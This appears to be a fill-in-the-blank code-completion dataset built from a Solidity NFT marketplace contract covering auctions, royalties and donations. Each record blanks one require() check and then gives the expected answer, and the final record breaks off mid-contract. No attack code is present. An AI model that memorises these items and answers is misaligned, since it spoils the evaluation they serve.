return (_tokenid, txMessage[_tokenid].isDonated);
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| isApprovedOrg[_organization],"the organization is not approved" | 261,677 | isApprovedOrg[_organization] |
"nft must beauction mode" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
uint256 _tokenid = isExist[_creator][_tokenURI];
address seller = _creator;
// is the first offer
if(isExist[_creator][_tokenURI] == 0 || !isSencond[_creator][_tokenURI]) {
require(_royalty < 30, "Excessive copyright fees");
isSencond[_creator][_tokenURI] = true;
if(isExist[_creator][_tokenURI] == 0) {
//create
uint256 tokenID = ERC721Like(nftAsset).awardItem(_creator, _tokenURI);
royalty[tokenID] = Royalty(_creator, _royalty, false);
_tokenid = tokenID;
isExist[_creator][_tokenURI] = tokenID;
}
if(isExist[_creator][_tokenURI] != 0) {
seller = ERC721Like(nftAsset).ownerOf(_tokenid);
}
//approve
ERC721Like(nftAsset).setApproval(seller, msg.sender, true);
ERC721Like(nftAsset).approveForMarket(seller, msg.sender, address(this), _tokenid);
//register
require(_endTime <= block.timestamp + 30 days, "Maximum time exceeded");
require(_endTime > block.timestamp + 5 minutes, "Below minimum time");
require(
_reward < 100 - transferFee - royalty[_tokenid].royalty,
"Excessive reward"
);
ERC721Like(nftAsset).transferFrom(seller, address(this), _tokenid);
nftOfferedForSale[_tokenid] = Offer(
true,
_tokenid,
_creator,
seller,
_organization,
_isBid,
_isDonated,
_minSalePrice,
_endTime,
_reward
);
emit Offered(_tokenid, _isBid, _isDonated, _minSalePrice);
}
// enterForBid
Offer memory offer = nftOfferedForSale[_tokenid];
require(offer.isForSale, "nft not actually for sale");
require(<FILL_ME>)
// offer again
if(block.timestamp < offer.endTime) {
if (!bade[_tokenid][msg.sender]) {
bidders[_tokenid].push(msg.sender);
bade[_tokenid][msg.sender] = true;
}
Bid memory bid = nftBids[_tokenid];
require(
msg.value + offerBalances[_tokenid][msg.sender] >=
offer.minValue,
"The bid cannot be lower than the starting price"
);
require(
msg.value + offerBalances[_tokenid][msg.sender] > bid.value,
"This quotation is less than the current quotation"
);
nftBids[_tokenid] = Bid(
_tokenid,
msg.sender,
msg.value + offerBalances[_tokenid][msg.sender]
);
emit BidEntered(_tokenid, msg.sender, msg.value, offer.isBid, offer.isDonated);
offerBalances[_tokenid][msg.sender] += msg.value;
}
return _tokenid;
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| offer.isBid,"nft must beauction mode" | 261,677 | offer.isBid |
"The bid cannot be lower than the starting price" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
uint256 _tokenid = isExist[_creator][_tokenURI];
address seller = _creator;
// is the first offer
if(isExist[_creator][_tokenURI] == 0 || !isSencond[_creator][_tokenURI]) {
require(_royalty < 30, "Excessive copyright fees");
isSencond[_creator][_tokenURI] = true;
if(isExist[_creator][_tokenURI] == 0) {
//create
uint256 tokenID = ERC721Like(nftAsset).awardItem(_creator, _tokenURI);
royalty[tokenID] = Royalty(_creator, _royalty, false);
_tokenid = tokenID;
isExist[_creator][_tokenURI] = tokenID;
}
if(isExist[_creator][_tokenURI] != 0) {
seller = ERC721Like(nftAsset).ownerOf(_tokenid);
}
//approve
ERC721Like(nftAsset).setApproval(seller, msg.sender, true);
ERC721Like(nftAsset).approveForMarket(seller, msg.sender, address(this), _tokenid);
//register
require(_endTime <= block.timestamp + 30 days, "Maximum time exceeded");
require(_endTime > block.timestamp + 5 minutes, "Below minimum time");
require(
_reward < 100 - transferFee - royalty[_tokenid].royalty,
"Excessive reward"
);
ERC721Like(nftAsset).transferFrom(seller, address(this), _tokenid);
nftOfferedForSale[_tokenid] = Offer(
true,
_tokenid,
_creator,
seller,
_organization,
_isBid,
_isDonated,
_minSalePrice,
_endTime,
_reward
);
emit Offered(_tokenid, _isBid, _isDonated, _minSalePrice);
}
// enterForBid
Offer memory offer = nftOfferedForSale[_tokenid];
require(offer.isForSale, "nft not actually for sale");
require(offer.isBid, "nft must beauction mode");
// offer again
if(block.timestamp < offer.endTime) {
if (!bade[_tokenid][msg.sender]) {
bidders[_tokenid].push(msg.sender);
bade[_tokenid][msg.sender] = true;
}
Bid memory bid = nftBids[_tokenid];
require(<FILL_ME>)
require(
msg.value + offerBalances[_tokenid][msg.sender] > bid.value,
"This quotation is less than the current quotation"
);
nftBids[_tokenid] = Bid(
_tokenid,
msg.sender,
msg.value + offerBalances[_tokenid][msg.sender]
);
emit BidEntered(_tokenid, msg.sender, msg.value, offer.isBid, offer.isDonated);
offerBalances[_tokenid][msg.sender] += msg.value;
}
return _tokenid;
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| msg.value+offerBalances[_tokenid][msg.sender]>=offer.minValue,"The bid cannot be lower than the starting price" | 261,677 | msg.value+offerBalances[_tokenid][msg.sender]>=offer.minValue |
"This quotation is less than the current quotation" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
uint256 _tokenid = isExist[_creator][_tokenURI];
address seller = _creator;
// is the first offer
if(isExist[_creator][_tokenURI] == 0 || !isSencond[_creator][_tokenURI]) {
require(_royalty < 30, "Excessive copyright fees");
isSencond[_creator][_tokenURI] = true;
if(isExist[_creator][_tokenURI] == 0) {
//create
uint256 tokenID = ERC721Like(nftAsset).awardItem(_creator, _tokenURI);
royalty[tokenID] = Royalty(_creator, _royalty, false);
_tokenid = tokenID;
isExist[_creator][_tokenURI] = tokenID;
}
if(isExist[_creator][_tokenURI] != 0) {
seller = ERC721Like(nftAsset).ownerOf(_tokenid);
}
//approve
ERC721Like(nftAsset).setApproval(seller, msg.sender, true);
ERC721Like(nftAsset).approveForMarket(seller, msg.sender, address(this), _tokenid);
//register
require(_endTime <= block.timestamp + 30 days, "Maximum time exceeded");
require(_endTime > block.timestamp + 5 minutes, "Below minimum time");
require(
_reward < 100 - transferFee - royalty[_tokenid].royalty,
"Excessive reward"
);
ERC721Like(nftAsset).transferFrom(seller, address(this), _tokenid);
nftOfferedForSale[_tokenid] = Offer(
true,
_tokenid,
_creator,
seller,
_organization,
_isBid,
_isDonated,
_minSalePrice,
_endTime,
_reward
);
emit Offered(_tokenid, _isBid, _isDonated, _minSalePrice);
}
// enterForBid
Offer memory offer = nftOfferedForSale[_tokenid];
require(offer.isForSale, "nft not actually for sale");
require(offer.isBid, "nft must beauction mode");
// offer again
if(block.timestamp < offer.endTime) {
if (!bade[_tokenid][msg.sender]) {
bidders[_tokenid].push(msg.sender);
bade[_tokenid][msg.sender] = true;
}
Bid memory bid = nftBids[_tokenid];
require(
msg.value + offerBalances[_tokenid][msg.sender] >=
offer.minValue,
"The bid cannot be lower than the starting price"
);
require(<FILL_ME>)
nftBids[_tokenid] = Bid(
_tokenid,
msg.sender,
msg.value + offerBalances[_tokenid][msg.sender]
);
emit BidEntered(_tokenid, msg.sender, msg.value, offer.isBid, offer.isDonated);
offerBalances[_tokenid][msg.sender] += msg.value;
}
return _tokenid;
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| msg.value+offerBalances[_tokenid][msg.sender]>bid.value,"This quotation is less than the current quotation" | 261,677 | msg.value+offerBalances[_tokenid][msg.sender]>bid.value |
"the organization is not approved" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
Offer memory offer = nftOfferedForSale[tokenID];
require(offer.isForSale, "nft not actually for sale");
require(!offer.isBid, "nft is auction mode");
uint256 share1 = (offer.minValue * transferFee) / 100;
uint256 share2 = (offer.minValue * royalty[tokenID].royalty) / 100;
require(
msg.value >= offer.minValue,
"Sorry, your credit is running low"
);
payable(royalty[tokenID].originator).transfer(share2);
if(offer.isDonated) {
require(offer.organization != address(0), "The donated organization is null");
require(<FILL_ME>)
payable(offer.organization).transfer(offer.minValue - share2);
}else {
payable(revenueRecipient).transfer(share1);
payable(offer.seller).transfer(offer.minValue - share1 - share2);
}
txMessage[tokenID] = Transaction(
tokenID,
msg.sender,
false,
false,
royalty[tokenID].originator,
offer.seller
);
ERC721Like(nftAsset).transferFrom(address(this), msg.sender, tokenID);
emit Bought(
offer.seller,
msg.sender,
tokenID,
offer.minValue
);
emit DealTransaction(
tokenID,
offer.isDonated,
royalty[tokenID].originator,
offer.seller
);
delete nftOfferedForSale[tokenID];
return txMessage[tokenID].isDonated;
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| isApprovedOrg[offer.organization],"the organization is not approved" | 261,677 | isApprovedOrg[offer.organization] |
"The bid cannot be lower than the starting price" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
mapping(uint256 => mapping(address => bool)) public bade;
// NFTs isExist or not
mapping(address => mapping(string => uint256)) public isExist;
// danotion across
mapping(address => mapping(string => bool)) public isSencond;
// donated oraganizations are approved or not
mapping(address => bool) public isApprovedOrg;
event Offered(
uint256 indexed tokenID,
bool indexed isBid,
bool indexed isDonated,
uint256 minValue
);
event BidEntered(
uint256 indexed tokenID,
address fromAddress,
uint256 value,
bool indexed isBid,
bool indexed isDonated
);
event Bought(
address indexed fromAddress,
address indexed toAddress,
uint256 indexed tokenID,
uint256 value
);
event NoLongerForSale(uint256 indexed tokenID);
event AuctionPass(uint256 indexed tokenID);
event DealTransaction(
uint256 indexed tokenID,
bool indexed isDonated,
address creator,
address indexed seller
);
bool private _mutex;
modifier _lock_() {
}
constructor(
address _nftAsset,
address _revenueRecipient
) {
}
function NewNft(string memory _tokenURI, uint256 _royalty) external payable _lock_ returns (uint256)
{
}
// approve the donated oraganizations
function approveOrganization(address _organization) external _lock_ {
}
// fake create NFTs (donate the value to the organization; usual transaction)
function buyNFTWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization) external payable _lock_ returns(uint256, bool) {
}
//the auction
function enterBidWithMultiStep(bool _isDonated, address _creator, string memory _tokenURI, uint256 _royalty, bool _isBid,
uint256 _minSalePrice, uint256 _endTime, uint256 _reward, address _organization)external payable _lock_ returns(uint256) {
}
function recommend(uint256 tokenID) external onlyOwner {
}
function cancelRecommend(uint256 tokenID) external onlyOwner {
}
function sell(
uint256 tokenID,
bool isBid,
bool isDonated,
uint256 minSalePrice,
uint256 endTime,
uint256 reward,
address organization
) external _lock_ {
}
function noLongerForSale(uint256 tokenID) external _lock_ {
}
function buy(uint256 tokenID) external payable _lock_ returns(bool){
}
function enterBidForNft(uint256 tokenID)
external
payable
_lock_
{
Offer memory offer = nftOfferedForSale[tokenID];
require(offer.isForSale, "nft not actually for sale");
require(offer.isBid, "nft must beauction mode");
require(block.timestamp < offer.endTime, "The auction is over");
if (!bade[tokenID][msg.sender]) {
bidders[tokenID].push(msg.sender);
bade[tokenID][msg.sender] = true;
}
Bid memory bid = nftBids[tokenID];
require(<FILL_ME>)
require(
msg.value + offerBalances[tokenID][msg.sender] > bid.value,
"This quotation is less than the current quotation"
);
nftBids[tokenID] = Bid(
tokenID,
msg.sender,
msg.value + offerBalances[tokenID][msg.sender]
);
emit BidEntered(tokenID, msg.sender, msg.value, offer.isBid, offer.isDonated);
offerBalances[tokenID][msg.sender] += msg.value;
}
// deal for donation or not
function deal(uint256 tokenID) external _lock_ returns(bool) {
}
function recoveryEth(uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| msg.value+offerBalances[tokenID][msg.sender]>=offer.minValue,"The bid cannot be lower than the starting price" | 261,677 | msg.value+offerBalances[tokenID][msg.sender]>=offer.minValue |
"This quotation is less than the current quotation" | /**
*Submitted for verification at Etherscan.io on 2022-07-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ERC721Like {
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function awardItem(address player, string memory _tokenURI)
external
returns (uint256);
function approveForMarket(address _owner, address _msgsender, address _operator, uint256 _tokenId) external;
function setApproval(address _owner, address _operator, bool _approved) external;
function tokenURI(uint256 tokenId) external returns (string memory);
function ownerOf(uint256 tokenId) external returns (address);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
}
modifier onlyOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function acceptOwnership() public {
}
}
contract NftMarket is Owned {
address public nftAsset;
address public revenueRecipient;
string public constant version = "2.0.5";
uint public constant mintFee = 10 * 1e8;
uint256 public constant transferFee = 5;
// make some changes for donation
// address originator
// bool isDonate
struct Offer {
bool isForSale;
uint256 tokenID;
address originator;
address seller;
address organization;
bool isBid;
bool isDonated;
uint256 minValue;
uint256 endTime;
uint256 reward;
}
// transaction
struct Transaction {
uint256 tokenID;
address caller;
bool isDonated;
bool isBid;
address creator;
address seller;
}
struct Bid {
uint256 tokenID;
address bidder;
uint256 value;
}
struct Royalty {
address originator;
uint256 royalty;
bool recommended;
}
mapping(uint256 => Offer) public nftOfferedForSale;
mapping(uint256 => Bid) public nftBids;
mapping(uint256 => Royalty) public royalty;
// txhash
mapping(uint256 => Transaction) public txMessage;
mapping(uint256 => mapping(address => uint256)) public offerBalances;
mapping(uint256 => address[]) public bidders;
